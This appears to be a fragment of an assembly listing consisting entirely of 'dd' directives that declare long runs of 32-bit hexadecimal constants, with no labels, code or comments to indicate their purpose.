dd 0C27D2715h, 69B2F9F8h, 5191F189h, 60006BE5h, 713440B3h
dd 3E74BC1h, 4177CF62h, 0DC7538B2h, 0BD2A640h, 0A9C88ADAh
dd 701353C2h, 50FF6E34h, 0F64E0873h, 0FFA116ABh, 43AD82Dh
dd 762555h, 0B837A2BEh, 811CBC3Eh, 0A03803CBh, 1B772062h
dd 5C96AD09h, 0F19A8A21h, 8FBE4A38h, 38EE5A6Bh, 2B4F4B4Ch
dd 58E2FFB8h, 6472FBB9h, 5B0E6620h, 6721C580h, 23D7B1EDh
dd 4F8AF4A9h, 1C521509h, 17EAF148h, 0D8AF4202h, 499D2D3Eh
dd 0ED6F5DE7h, 236884BAh, 0EE3AD8F1h, 4AE9D73Ch, 0AFB6135Bh
dd 4F82B606h, 90C3E00Eh, 6046712h, 430D6F52h, 0F1CC30EEh
dd 0F58C16C9h, 0DE7209CCh, 0FABCF464h, 0BD02BFF8h, 2C6018B3h
dd 0DD7C5562h, 53F08605h, 0CB5188C7h, 8A4D1F6h, 0C83D1270h
dd 0D625F790h, 5E26B156h, 6EE4292Bh, 176EA229h, 35EE62Ch
dd 0A14213C3h, 0B0C7757h, 1256C40h, 3408BBA8h, 0B914120Ch
dd 43D4865Eh, 0D66812D0h, 51AAC874h, 575A96F2h, 889BDA30h
dd 1AE93ADDh, 0ACCBFFB8h, 4AACF444h, 0AAE951F0h, 0C2FC55D3h
dd 23F302B2h, 7167203Ch, 98ABB55Fh, 5E38215Fh, 0EE2B048Bh
dd 2F48532Eh, 205D5125h, 6F1A7CBBh, 22050F02h, 5E5D9D6Bh
dd 0ACFBC968h, 0DB98285Ah, 2D0F6795h, 55F5A9E0h, 961F709Eh
dd 7548BF0Bh, 20573412h, 3FE3059Eh, 6478B7F3h, 3B072D51h
dd 0C127F5F6h, 7D28CA57h, 1D681A60h, 0DC956270h, 6A85E935h
dd 7A3DBF4Ah, 59AAA940h, 9B064CA0h, 0CD3FC902h, 27D88928h
dd 9455F23Fh, 38934DEEh, 0A71502D1h, 5A10AEE9h, 0C2665F61h
dd 74515915h, 2DA9F049h, 864E496Dh, 0C82B4782h, 2DA648F7h
dd 0B291799h, 6C45EFF0h, 0C420E4A1h, 4E955C8Dh, 3C07EF11h
dd 33C383EDh, 0F6E82541h, 0B562A5FEh, 1F165F70h, 0B62067ACh
dd 4A679067h, 4A49EAF3h, 0EBAB5D05h, 803A6557h, 12877532h
dd 11006F2Dh, 3F0563A9h, 3E71410Fh, 751C801h, 1202BF44h
dd 0C664BBE9h, 0A3E09CCh, 3CC075ABh, 7867C203h, 2042BF18h
dd 92B6C63h, 0E26619B8h, 4B18D4D4h, 16EABA46h, 113493Ch
dd 0DF28C30Dh, 6F0B7A0Ah, 5871745Bh, 687BE1F7h, 89F9694Fh
dd 1286FC4h, 0F667C980h, 48C60260h, 1A0DCBFh, 0BA0752D8h
dd 31821D6h, 0B76ED086h, 0C8521579h, 82A24722h, 40966B40h
dd 51120578h, 80FBDEF5h, 130AEF4Eh, 0E9903EF4h, 72930C4Fh
dd 0D5CDF005h, 3B5F3F17h, 0A22C9016h, 1CD24A1Ch, 0D15C68h
dd 763249B8h, 0E0B0571h, 6A8DB2Eh, 4D34C86h, 643FC1C7h
dd 4785BB48h, 0F03C41BEh, 4535BB54h, 7021BBA9h, 0B723CC83h
dd 0C6C0A949h, 2E304576h, 313B0CC1h, 942E5182h, 52080567h
dd 9B141468h, 8A6F5E12h, 0C8FE4E18h, 0A359E97Eh, 0F3BD0091h
dd 0BE72CB06h, 0F15E1639h, 7C32BC10h, 2B60965Bh, 89041858h
dd 0EC133BF7h, 72DE69BAh, 0B2AF92E0h, 77578969h, 6D1FFEB0h
dd 0CB4DD19Dh, 341F6FFDh, 0BF4EBE8Ah, 34E9C401h, 0BF5335F0h
dd 5B13CDDCh, 2514E4BFh, 2604421Fh, 4BC50540h, 9351CEAh
dd 2D27063Fh, 0AF2FA184h, 0ACAC8F84h, 2EB7F6F1h, 955BB49Ch
dd 0FA7E4AA2h, 3D8453F7h, 5B408AADh, 609DE6B2h, 0B76F4A24h
dd 48CBCBE6h, 0C0500402h, 7E3EFh, 5A9E1FB0h, 0AA7E4468h
dd 31FF7A0Dh, 0E0B1361Dh, 0D49EE057h, 5375FEFDh, 86FBC9A7h
dd 1817C310h, 272E457Eh, 0BED8C543h, 0C652100Fh, 1F596677h
dd 0D3500CEFh, 0C77AA015h, 950F08A3h, 37F8E95Dh, 178679FCh
dd 409F3CC1h, 3E385734h, 975B4389h, 0DEF7B03Dh, 144FBE41h
dd 0A849AADh, 29E9AFD4h, 470FBFC0h, 2CB87FB5h, 0D061561Ch
dd 10AA29D3h, 48580870h, 8212A54Eh, 57029D0Ch, 0D9407560h
dd 5B837CE3h, 0ADC0E51Ah, 4ECCF24Eh, 9109BE5Eh, 88C677C5h
dd 49925F97h, 0D72DC2D5h, 31C4FD34h, 26EC7BCEh, 0B54152CEh
dd 3AEE881Ah, 1EB49BB4h, 0FCC2886h, 619C480h, 58E1F8E0h
dd 824E29F9h, 79444268h, 0B45000EAh, 0F6FC861Ah, 5308D760h
dd 0A84542E9h, 1647E3AFh, 0EF21B16Dh, 3FF38600h, 4E07F6DCh
dd 2DADA405h, 0DB74B9Dh, 0DA3DE9F8h, 537C603Eh, 324BBB0Fh
dd 292F4D6h, 99EC927h, 8335C29h, 6887792Eh, 78E417C6h
dd 0B9B0BCB8h, 0FE3E2C74h, 54E10271h, 0DD73A92Fh, 0AA33ABE8h
dd 299D7710h, 32C20118h, 20597998h, 2E600549h, 0D4FF559Eh
dd 0E9080587h, 2672BC16h, 2F425631h, 0F440C825h, 2A0FB727h
dd 0BD311164h, 88AC4E41h, 0F451D88Bh, 8CB6F7EBh, 16EB5D5Ch
dd 0DCF2D86Ch, 3F8FE9A1h
dd 0B168DF02h, 3F14C49h, 9C95343h, 98015746h, 26B76220h
dd 7F28E9h, 7D3EBE3Dh, 94904F59h, 408BA1h, 2761DDBDh, 5D287Bh
dd 0CD2CF1ABh, 0D4ED4849h, 720C3E07h, 10CFF47Ch, 1E593008h
dd 60303CDBh, 4A381A62h, 16F0940h, 4E08D42Ah, 7AB9D8AFh
dd 2DFB4300h, 0CB7FA1BBh, 0F331174Fh, 0FAD0BA5Eh, 0B08E8C0h
dd 0FA24D8F6h, 0C128A901h, 75B3DDE9h, 4803EEBh, 90420848h
dd 5CE309BFh, 427F75ACh, 5A0804B0h, 6530B9EEh, 9F08552Fh
dd 3B0BC030h, 0C6A0125Fh, 0C946802h, 3EEC24EFh, 480ADED1h
dd 6819703Ah, 75947BA0h, 97433160h, 0F8B1BF5Fh, 0F84ED9E1h
dd 6A98D7F7h, 546D5164h, 7BDC2DEEh, 40069D2Ch, 8A00B196h
dd 5966CB28h, 9005E3C0h, 20DE90E0h, 8728D37Eh, 370B7D7h
dd 0F6DF7825h, 0B9C38274h, 0D4842A50h, 808F80FBh, 75623239h
dd 966163Eh, 360F8200h, 96F64D43h, 0C3F5B263h, 0F582D8F8h
dd 5F239009h, 0ED9E900Fh, 0EF3D92AAh, 21B6F4CDh, 16EA080Bh
dd 0C28004E7h, 0C1D42850h, 0DE98EC51h, 5861B4C4h, 6DE94712h
dd 0CB3B9265h, 3D5012F2h, 0F97ECCDDh, 0AF68C0A7h, 0BD6C2A09h
dd 0E6090F96h, 0DF91121Eh, 2988D380h, 70B52E2Ah, 0A71DBCEEh
dd 0C22916FDh, 0CF85E977h, 5BEDAF7h, 6A91A20h, 36CE8131h
dd 4A58030Ah, 0AC0A8552h, 7FE9F1E3h, 0DC20E575h, 282713C7h
dd 0E28A1EF8h, 0A2F9014Bh, 444D7098h, 0E9055504h, 89AACB62h
dd 2FB1601Ah, 45923AB6h, 0BF0780CAh, 6438410Ch, 56A0AE21h
dd 6A01181Ch, 436D0C09h, 31110F2Eh, 344A663Bh, 8E54B5CEh
dd 5F2015A8h, 7521A067h, 37A94C36h, 0E3F75A75h, 288F0213h
dd 7F5F117Dh, 70E968E0h, 0DCD1C04Fh, 0BF00EBB6h, 442C6447h
dd 611DE37Dh, 8AAE813h, 5B07FC34h, 4B82FE29h, 281E8243h
dd 0BF5A0589h, 7E3B6CB3h, 91D8A655h, 76E09AA0h, 0CEFE2DF6h
dd 2690ADF0h, 6212C65Eh, 4D0BB7BAh, 0F9E91987h, 0C5D854FFh
dd 0A8C99D63h, 75C1CEF8h, 0FEA48878h, 9D248Dh, 3B0DD5C9h
dd 2C25681Dh, 387C4664h, 0BA4A6E16h, 0AE4F008Eh, 55299432h
dd 0C6DCF88Bh, 0C1E1B3EEh, 445BCD30h, 4409F589h, 1A331Eh
dd 0ADAA9D93h, 301DA6B5h, 0C16909B8h, 8000D0E6h, 59CE214Ah
dd 98515646h, 733027BFh, 40B5EAC4h, 0BD5F6897h, 155D159Ah
dd 4B5C9E6Ah, 0E72442C7h, 2EFFF35Eh, 1630ABF7h, 0CB6A4CE9h
dd 2F55EB43h, 6C927F90h, 351E61ABh, 0C6297C70h, 20D740ABh
dd 41762FA0h, 0F90F674Eh, 64258551h, 0F0CFFC47h, 612CEF32h
dd 57C2F83Bh, 0F4553DC2h, 0F1C051FBh, 8B802B03h, 723064F2h
dd 8D46FE2h, 0FC66C465h, 0D1F5728Ch, 0FC2D3ACAh, 0E96A3A84h
dd 2E90FC59h, 2BCAFBACh, 8E84CA3Bh, 2B6571FAh, 1A5F03B4h
dd 1C51B626h, 0F7895C54h, 5D7427D3h, 0DF063CF2h, 394E9E6Ch
dd 7DBFBF09h, 457D4242h, 15E48283h, 8AC46FF1h, 9DE90880h
dd 8B540895h, 4CB36858h, 51CB1F7Ch, 0FBDE0E09h, 3E6CF4ADh
dd 9AF7CFA7h, 790E0FEh, 802496D0h, 0AE1AE8D5h, 0DE9FEB89h
dd 7007EDB4h, 0EEB78797h, 4DE92A32h, 0DA949EB1h, 0A8B545DDh
dd 23992607h, 20464309h, 0DBAA0C4Fh, 8B5C2517h, 0CE1F0688h
dd 293A2A38h, 0B0EF33F0h, 0F7B13306h, 6AB47A86h, 0E7E92574h
dd 67EA468Bh, 5A20597Fh, 18C35E84h, 52306152h, 53C3C4FCh
dd 0DA91E388h, 1CA9265Bh, 0D000F02Ch, 8092B551h, 0AC6EEDCDh
dd 4C8078Fh, 34F2F6AFh, 49C3F5A8h, 0CAC5E882h, 0ECC67FA7h
dd 0ED204EB0h, 0F4681221h, 0F24BFC10h, 0C0BAD65Fh, 0E73DB2C7h
dd 5AAB1B5Eh, 0FAD311F1h, 1CE1762Fh, 6FF2EC52h, 34AB180Bh
dd 6E658C01h, 0EC057062h, 4AE4535Eh, 0EB93222h, 0FDDE9816h
dd 74420B69h, 6C6525FBh, 74279889h, 944765A0h, 16A1FCB8h
dd 299C838Fh, 68C30931h, 0CAD96174h, 2B47B0BFh, 3D71EDEAh
dd 40BB7CF5h, 0EF2D04Ah, 3D7B270Fh, 4B3228E1h, 5B497BC8h
dd 0A4D0F920h, 8B0A50AFh, 70B54120h, 857C5B16h, 8EF2AA5Bh
dd 0D5A8D4C4h, 0FAF0001Bh, 317A154Dh, 8B18DA5Dh, 25C67B21h
dd 68496877h, 722C5247h, 275CCC1Ch, 0BFEECD7Dh, 0F2232D62h
dd 0FC2577D1h, 0B6538264h, 9D433096h, 5AE2F39Bh, 0A6C47FDh
dd 81A8FA99h, 0AF4EFBC2h, 7EE56A13h, 6DE90800h, 50FEBDE7h
dd 87D2D449h, 19086850h, 0F661EBDCh, 81FC0D0Bh, 551D3BEDh
dd 84178FCCh, 0D08940DEh, 0E8A04035h, 862FCDB8h, 3AF63A60h
dd 43DC5FB4h, 0EABB8249h, 5F9BFD27h, 5442E0C9h, 0FAB954EBh
dd 0BE0056BCh, 61765859h, 12C5E681h, 1645312h, 92416092h
dd 49C4834Dh, 0BC0B400Fh, 79DA4FFh, 3C09A898h, 856BEB65h
dd 8AB42071h, 9051CF7h, 0B27D6F40h, 8B3C595Ch, 0AC5862E9h
dd 0EF2054Ah, 90B5ABD3h, 0F7A1672Ch, 30EF3B14h, 59BA5251h
dd 775B0171h, 0FE2584BCh, 7FF044C4h, 2AF36BF3h, 4C374310h
dd 3AF539A7h, 18EC3EE6h, 0F2C7BACBh, 6D3C0917h, 975E2144h
dd 798FBB01h, 0B33173D2h, 6B87D4F2h, 5244917h, 60A05098h
dd 8D12BD72h, 0C759C81h, 0BB388C7Fh, 0CC58521h, 730E07F4h
dd 0B10D30Ch, 0FD0348A1h, 295CE818h, 8D210ADh, 6140C68h
dd 4A46EEE9h, 43B7BE04h, 9FBD6376h, 1A8C5219h, 261D2C54h
dd 0D04225F1h, 5E2500FDh, 16009A60h, 3548E8D1h, 58452004h
dd 0C9274E01h, 0C52548C7h, 705F8998h, 5AE17A76h, 0AA764F68h
dd 61E34A73h, 7DCE4518h, 9CC107A0h, 86AF7A3Fh, 0B0224C29h
dd 65FB5D43h, 5AA4E05Fh, 0BDB46673h, 4438B69h, 0B2BC6D6Dh
dd 5D89B83Bh, 0C1D120EDh, 57067F8Bh, 20BA74B8h, 0B8C13B28h
dd 0CD0C605h, 0F1EE6782h, 5A080188h, 54A46F46h, 0CB062DE9h
dd 0C188BA90h, 0D7FA682Dh, 0E94E5B36h, 929E21E2h, 5F51C375h
dd 55B4B7h, 0EF1DB2BDh, 57E0B579h, 65B6AA15h, 0DEC88683h
dd 50D7D9BCh, 0EA12526Dh, 2B16EFF7h, 0B03AE8A1h, 59409040h
dd 27D57A31h, 2EF8F587h, 0FC26372Fh, 0C549CFEEh, 60438541h
dd 0B5C00B32h, 8A1E5CE7h, 0FF79045h, 1FF91B80h, 332ACF80h
dd 94C10729h, 10F31C93h, 13DD3E30h, 0AAF0F7DCh, 0D1E15204h
dd 1E20208Dh, 85E2997Dh, 3025EA68h, 5DE9549Ah, 7AB43B4Bh
dd 0F2720106h, 0F7DA8750h, 5EBF3EDBh, 6A26E9h, 0CA92EFFh
dd 5E5AF209h, 80EF24AEh, 525006F2h, 7E9521E5h, 0BF0CE796h
dd 0A955F34Ah, 770DD205h, 9FA935C6h, 0C30B807Fh, 604C3022h
dd 923B16BDh, 0A78B61EBh, 652E1109h, 0D2FAC79Dh, 2996C157h
dd 8C6138CEh, 2F68EB85h, 1F6611F8h, 5B11D664h, 0D5F362C9h
dd 7C8B87D0h, 5E263D9Ah, 0FAFEA297h, 307E228Bh, 0E31DA74Eh
dd 0E2281189h, 0C90B9179h, 7D05C260h, 3252AFA0h, 0F6BE0A0Ch
dd 0E5AC7E96h, 8FF212Ch, 53029639h, 0CC6FE168h, 28C420D5h
dd 50B2B12Fh, 788749B1h, 14FEDA4Bh, 84FDE821h, 0CCFF59D7h
dd 6C4B81B9h, 0E0D631BBh, 0C2239662h, 2F039806h, 41D18255h
dd 1769B813h, 0EA324605h, 3913BF7Bh, 5636D0EFh, 18985E55h
dd 97ED7A29h, 0A1467D4Bh, 1890EB05h, 7EC41E92h, 80BBEC4h
dd 5D79AB5Eh, 0F6AF5867h, 49A03822h, 62FC6812h, 214E39FEh
dd 52829253h, 0C4CAB7EFh, 0FE18D411h, 4C92B625h, 6E20CD7Dh
dd 685E0947h, 0B85C5030h, 6C3E7762h, 51D9283Ch, 8F995BBh
dd 1755566h, 327627E7h, 6E219DE9h, 19E8FACh, 0C11DBB3Fh
dd 0D52D20E0h, 0E3E8214Bh, 6C8CE2C0h, 50951F9Ah, 6180C93h
dd 0C31A53B3h
dd 418B2E02h, 77685651h, 0E91245D8h, 60E455AFh, 9159171Ah
dd 7E8F4276h, 7261A8FAh, 5DE24ACh, 481209DCh, 3C776F21h
dd 9312BE27h, 0F129EA29h, 0E030ED71h, 0A45002A8h, 1B5C6874h
dd 0AC9847D1h, 0BDFB311Bh, 732D1316h, 9FBA579Ch, 22F77CC1h
dd 5EF313ECh, 57796B90h, 0E760F52Ch, 84FC8291h, 2DBE7712h
dd 5CBA9817h, 0E10ED46Bh, 0B579F5C2h, 0E2088952h, 0E2DED3F2h
dd 0DC741CE9h, 0D4F93009h, 0B25258D6h, 6957F89Dh, 0AFDD285Dh
dd 3FD33E50h, 1EBCF40h, 64F7FB87h, 0ED5008D7h, 71C710A6h
dd 0AB16C04Fh, 3388E260h, 121C090Ch, 0CA02EFC1h, 0DF093D59h
dd 0D597DB6Ch, 0F0C4209Bh, 4A912DCCh, 0CB827E8Bh, 0E26EF87Bh
dd 0D7290A22h, 908BD55h, 0CA5818E9h, 24F0BF06h, 9301B8Dh
dd 5FFE3582h, 0B05766F5h, 4231091Ah, 3685F801h, 4E20FC9Ah
dd 1872D981h, 0C20F9804h, 37692401h, 0F2D3E961h, 9764BE2Eh
dd 62550592h, 25995C6Dh, 1F24BE2Fh, 0E2B90E70h, 7723546Dh
dd 625A9FDEh, 13A3083Ah, 68BA2918h, 26D9BD0Fh, 400EB88Fh
dd 7D0D6ACDh, 0A8C64A70h, 54DD008Eh, 91E915A1h, 0FC9297B6h
dd 5B058081h, 2B9E9341h, 0C1291744h, 2C8499F9h, 5057074Ah
dd 0A284567Eh, 107E8EABh, 5D257CC9h, 7E973994h, 965FEBA0h
dd 0F22D3D9Ah, 0FC30CD96h, 4E074122h, 0B0E90B68h, 32B09B26h
dd 5F1A6880h, 6288D0DCh, 78BD0F53h, 812AE800h, 2501DEE5h
dd 0E94D585Ah, 349D2E83h, 11B45BBh, 7DD6E864h, 3C1AB930h
dd 2672E405h, 9B7754A3h, 86A54E0Dh, 9C828B80h, 52589A03h
dd 200741D0h, 5095AE0h, 2E254Ah, 4BE9D04Ch, 0B89FA831h
dd 3D27E051h, 1B13C981h, 0E9FD0705h, 61E1A2BDh, 0B7A01C7Dh
dd 19D2C58h, 2D28E93Ah, 79C4EC22h, 96C6A3B8h, 684942EBh
dd 46795C6Eh, 0E85E5891h, 0AA68E009h, 28F9B19h, 775E3E1Bh
dd 0A4EF1E0h, 0FD0BEE2Eh, 7D45091Fh, 0E8AC4F4Ch, 446D7F1Eh
dd 0C05DEF31h, 4E6642EBh, 35407800h, 5CA9778Dh, 4BCC0F0Dh
dd 0F442082Ah, 0DB40AA0Ah, 1944352h, 73AC0297h, 0D3F4F871h
dd 2246BA95h, 0FCF90DCEh, 6E5BBD21h, 486BE409h, 2C43A912h
dd 2464B47h, 396D31F9h, 485E361h, 0F61690AAh, 885C52D7h
dd 0C92610D0h, 0ECEBC112h, 0A04205ACh, 5EEC653Dh, 60C8F010h
dd 0A8029252h, 0FA3F9868h, 0A4525F1Bh, 720ECE2Ah, 0F74B7132h
dd 0C1C6AF40h, 17C241C0h, 0FECD3BE9h, 0BD3BED39h, 29C3B4F9h
dd 235AA196h, 837D1C2Eh, 1E514C13h, 39B40C04h, 8982BC43h
dd 974EF72Bh, 8A015C32h, 186ADDEEh, 0B02B07Fh, 6145BF61h
dd 59026726h, 0A9A1E956h, 0EF27EACh, 7E41D305h, 2EC12113h
dd 0BCA59BE8h, 0DD058061h, 5C300345h, 0FC5BDF09h, 0E70D5069h
dd 79BD4A17h, 0F562EB23h, 60B6DE47h, 0EDC2F505h, 2966011Dh
dd 35ED2BD8h, 1EDF02CBh, 2D5CBF99h, 477A5C79h, 0CBCDE9BAh
dd 1876E354h, 261481E9h, 93EE5E66h, 2FCC72E3h, 0BE0AE043h
dd 0A4070CC8h, 3CE84E3Eh, 594F2978h, 69DFEB4h, 21EC26AAh
dd 0E34938C6h, 1C862CC5h, 0BD4F60Ch, 0EA803E5Ah, 2D275F9h
dd 0AB0423C2h, 29DCC42Ch, 3FE90B3Ah, 1224CD6Ch, 0A18D3156h
dd 5D5D02F6h, 34D914FEh, 0E69C126Fh, 0F0D6CB00h, 80B53F46h
dd 0E807C538h, 8F71B151h, 0C1C0EFE5h, 0C9C9FE74h, 1808B1C1h
dd 4631283Eh, 0B004AD3Eh, 17D059B2h, 0AF5768E2h, 1860C936h
dd 41CF88B8h, 0BBDBFE9h, 4FC07D7Fh, 5D957221h, 5E54F390h
dd 9152CCBFh, 0D357C9B0h, 67E9852Dh, 209B8D73h, 11216F0h
dd 63BA3469h, 6005421Ah, 167113Dh, 482BE7C0h, 0BA754A44h
dd 0DD022B94h, 8EEA28CCh, 864CBFE7h, 0BB87A4Dh, 2F847475h
dd 0F70F02F5h, 85E540DBh, 50210101h, 7CE9DD29h, 40392E34h
dd 22B1092Eh, 5D2C5C5Ch, 1A90E016h, 2D350547h, 7D4D2Ch
dd 0E940A5E0h, 0E5365449h, 0D9F71DCAh, 0D1373931h, 3594F208h
dd 6DFE95ABh, 3A4CBB01h, 0CBF9573Bh, 92CD507Fh, 56C6305Ah
dd 1F7A8ABEh, 17FA6C5Bh, 0B7D9B3h, 0B0295993h, 153D0A5Ch
dd 3BDD8643h, 8965ADF8h, 2D1C5A9Eh, 74A60687h, 0EAC2D584h
dd 604C2DA0h, 1409CBB1h, 9A318730h, 4A56AC5Bh, 6E82CFEFh
dd 877341A0h, 9424D101h, 0D02F019Ch, 68D6F736h, 3AA87AFAh
dd 733AC9C1h, 67A93B4Eh, 6BDB8407h, 0F65C99EBh, 0DDF2E9E2h
dd 0E8F716AFh, 0C651CF49h, 0B09A70A5h, 0C492635h, 4C990B1Ah
dd 50B2BC4Ah, 3D34C9C1h, 2E1810F9h, 0C132AA4Fh, 83C87DC2h
dd 0BABC70E9h, 0D816EC26h, 5389DFFDh, 0EC49804h, 0E9FE6159h
dd 6D3F4108h, 93E82A44h, 0D7DBE9A0h, 1E3566C0h, 6043D163h
dd 6081B648h, 61B80561h, 1A760E0Bh, 0A50176F7h, 5707EA75h
dd 6A682CF9h, 0AF105349h, 4C523DFCh, 0ACD097C3h, 6E4ED720h
dd 2E224A5Bh, 8077527Ch, 0E65892ADh, 0FBD981Eh, 0F18DC265h
dd 0E055C78Bh, 962EE9C5h, 0E1C10466h, 0C68DEF08h, 7996D0DBh
dd 1B344878h, 0A2B49105h, 0E9C2D13Eh, 5FD478E7h, 891408FBh
dd 0D9CC7F27h, 31A85F25h, 2FF45FBh, 1A6E2512h, 96E0281Ch
dd 0D62D229Ch, 4CE7C18h, 0FE896857h, 0D0805037h, 0BD0D1B02h
dd 0FBE232A2h, 168FBA55h, 0B52AACAFh, 0B585540h, 1C03229Dh
dd 51DD0949h, 11F9C3BEh, 47C76413h, 8951A303h, 28AACC66h
dd 59549D20h, 650E8A4h, 0A1435C5h, 3BE3304h, 16A336DFh
dd 5D52BAE9h, 0FCEA0254h, 165C1510h, 98C0174Ah, 3740750Fh
dd 9FBAEC5Ah, 9D612003h, 91C0B9EFh, 3C16F8BEh, 55B00C8Fh
dd 0C8EE4F01h, 99536DDh, 489758B0h, 0B57EC8CFh, 0FC13B564h
dd 390A8453h, 0C19DD99Dh, 30389CF1h, 0E55BC05h, 931B759h
dd 0D8CC04E7h, 80DEF603h, 61C0C299h, 3069EB6h, 20DB0B7Bh
dd 0C5DF00F5h, 90E828F7h, 0B5A22F8Ah, 57BBD9B1h, 0E502CBB5h
dd 6605EDAAh, 334EE4AEh, 8EBF23C0h, 0F46BFE53h, 0AB674BF5h
dd 0BCC0C6C8h, 0C3350113h, 0CD68D505h, 114DF04Fh, 3E0C104h
dd 53C24595h, 19ABD79Bh, 308A0200h, 687B6C66h, 837F284Dh
dd 0D0EA467Eh, 94AA8BE9h, 0DE66EF56h, 0BB000A47h, 53B91EDCh
dd 2DE128B8h, 7370AC46h, 9D09E4BFh, 5B309B16h, 0C62D565Eh
dd 11C9282Ah, 70551FEh, 40787A31h, 475FB4Eh, 0E0209D84h
dd 0EF25FB7Eh, 0A6D55EECh, 0AC5B5FAEh, 78BBB2AFh, 0B7E8FF3Ah
dd 68D83928h, 741F62B2h, 0F997DBF0h, 0EEEF5034h, 39504B06h
dd 8324C729h, 0B27F5008h, 0DB0E417Bh, 7568FA07h, 0ED60572Bh
dd 4F728EAEh, 6D42BBA9h, 0DA331513h, 4E47097Ah, 3A576A90h
dd 110C0F0Fh, 0E3E91C40h, 79EEEC55h, 2CFF21C4h, 565A09D4h
dd 44130053h, 0EC5B4C6Ah, 321F4E46h, 2B52DE0Eh, 0DB253C92h
dd 9033167Fh, 314D1363h, 24DCA122h, 0E2768ACh, 0B6CE637h
dd 6DE4699Ch, 0E6AF215Dh, 15E17F5Fh, 163ECED8h, 0FB5B6E74h
dd 2B6AB741h, 0C810741h, 0A7D0A9ABh, 6410FF29h, 0D1163513h
dd 0F220BAEBh, 2428E43h, 0E9DF8996h, 14DDDCFCh, 75D40F72h
dd 0EF606F0Fh, 0BA525601h, 0F95E1800h, 6AE28145h, 9253B39h
dd 59B0F202h, 0C3F56BE6h, 807CD69Ch, 3CE9B8F5h, 0ECCAB1A0h
dd 97FDB593h, 0EFFCC5D2h, 40EA5F2Ch, 50158B5h, 0EB0ED8C8h
dd 89E1C331h, 4E148170h, 176ADA62h, 0EFC8FC51h, 0D4751792h
dd 3B6DA110h, 4A26EBA0h, 0D6DCF956h, 355DE20Eh, 0AF958Dh
dd 67EB7F36h, 9715D5E9h, 0A35D16A9h, 0E26387BFh, 4658062Dh
dd 5FC32879h, 0C28D3CC1h
dd 2646F0D4h, 0BE0D5826h, 115D4D09h, 2A27E0DDh, 90469F59h
dd 0D764149Fh, 2FD28D6Ch, 680AE3FCh, 889C31C6h, 81006332h
dd 0FD1137CBh, 0A8E4C149h, 6E71654Ch, 0E9420CC0h, 4D0D67C1h
dd 948097D9h, 7E05BCCAh, 96F1394Fh, 2D022C7Ah, 9376503Dh
dd 6D958909h, 554160Bh, 85A12542h, 4AE8F67Eh, 0B52A00AAh
dd 28F3B438h, 0E868EC6Eh, 0FF55158Eh, 0C84B5CC5h, 0F7103EDh
dd 0EFC15E12h, 2AF76603h, 5D75EA3Fh, 56A83852h, 1A2617C6h
dd 20106523h, 3FC05724h, 6DD64504h, 7E04FB89h, 1160383h
dd 98307960h, 224C7972h, 0FF17C9FBh, 2F43C88h, 417C1987h
dd 53408F59h, 257836BBh, 0CC54317Bh, 909CE920h, 595C38Fh
dd 39BA3DDAh, 8AEC6E7Dh, 578A40E5h, 26DAE953h, 9CD9F1B5h
dd 0A8364BCBh, 94694005h, 0B2BCEBCCh, 350DA3E1h, 52F66E6Ah
dd 0F8A9E983h, 0C87D2670h, 222C4812h, 6416F2FAh, 0EE56B886h
dd 0B3A390D7h, 2C14008Fh, 0C0550430h, 0E0A103E8h, 93DD6E65h
dd 0BA2067ECh, 0C2830222h, 26B66802h, 28BFC557h, 833B2224h
dd 3A09F502h, 0D7556C37h, 0ED003744h, 0BB857DAh, 977815E9h
dd 0B75838FCh, 68660E94h, 0EF981657h, 8000FFB1h, 0B25242EFh
dd 5EF1E904h, 423B89A4h, 9DE82762h, 0EB263F64h, 0CE81BC2Ch
dd 2077321Ch, 1A0A1F60h, 0AC8B58F0h, 77888B57h, 79239439h
dd 20C04C12h, 0F32AE946h, 20683ED9h, 52E91C14h, 337D253Dh
dd 6459E18Eh, 0BC629B57h, 4C06840Ch, 0F74EF0B8h, 26718462h
dd 78B288Dh, 92720F68h, 994B8637h, 0AEE0B76Fh, 48504C53h
dd 1392D25Ch, 2FABEDE1h, 24E5AB64h, 0D4EABD5Fh, 8B9DEA7Fh
dd 0E997A43Ah, 0FE5B0E27h, 0C2817283h, 0C6382FE4h, 7E01B18Fh
dd 60463982h, 6C124182h, 1CF073DCh, 609E9AD7h, 1E24365Dh
dd 314E6CF2h, 118AEAA8h, 6C74A7A2h, 0E50DC432h, 5FD888CFh
dd 58B6BE01h, 0EC300DFBh, 3CBF9B9Fh, 1EE227AFh, 8DF6F5Fh
dd 310B4941h, 846C8208h, 0DC08A951h, 4F3350C3h, 221E029Fh
dd 89B6009Bh, 8000CEFEh, 0F4280AC6h, 1BE5885Ah, 223DB9E9h
dd 3A0BC0A9h, 719FC4B6h, 23CE7FFh, 46F2FD5Ah, 0A0C850B7h
dd 274E5298h, 0C2D71141h, 5A080441h, 0E95C45EFh, 103ECFDh
dd 8003E5C0h, 53ECD9C5h, 0BAAABF26h, 0DD3F16E3h, 0E2E62084h
dd 79993669h, 490B1319h, 65725BD0h, 97433D20h, 0DD248771h
dd 7E748000h, 5F07E965h, 9423FA7Fh, 0FB4A43h, 3B9005A1h
dd 709574A7h, 0ECBA09EEh, 0E85415C4h, 75BF6809h, 4893E3F9h
dd 0A0D540B4h, 0E1455B8Bh, 0E13EE93Fh, 0F77490E9h, 85E1A55Ch
dd 0AD562A68h, 60B12C6Bh, 0C60B91A4h, 893AD525h, 0E62D79E4h
dd 0C26ED662h, 0CCDCE2F5h, 8936818Eh, 11A1F52Eh, 0DAAEC879h
dd 26E157E8h, 5BC0EF89h, 1B27620Ah, 7D09145Ah, 0DCBB8860h
dd 34C51532h, 730B0940h, 8339AA50h, 0B15194FEh, 443F27F6h
dd 1D70754h, 54F73843h, 91F6AF47h, 50FC4EDDh, 148ABA16h
dd 0C236ED5Ah, 5C70BFE9h, 8934891h, 87405023h, 0F67AB320h
dd 0F4CAB201h, 0AF6A5435h, 81DB415Eh, 758ACAF6h, 426B01B6h
dd 3C7AE963h, 68817FD9h, 623E0EECh, 9F5F7C60h, 9691553h
dd 7689E264h, 61A9F34Bh, 8028873Ah, 0CA32B1E2h, 0E1A78757h
dd 5E1E13E3h, 7E05B126h, 369CBC84h, 6197915Ah, 6001C583h
dd 3B045F6Dh, 0EDD171F4h, 10B7E83h, 3C65C1F1h, 7E313D79h
dd 0E9D58F02h, 271F5C92h, 30F894FDh, 0C53D5144h, 490901B3h
dd 0DDF776h, 0D571D0FDh, 0EF534E27h, 56EEDD52h, 0A553BE97h
dd 4172D503h, 0C3E1ADE2h, 1023BE60h, 2515996Ah, 2989D508h
dd 0E961BDDEh, 0AAD69AAh, 34052DF0h, 29A68B57h, 0FD61D0FAh
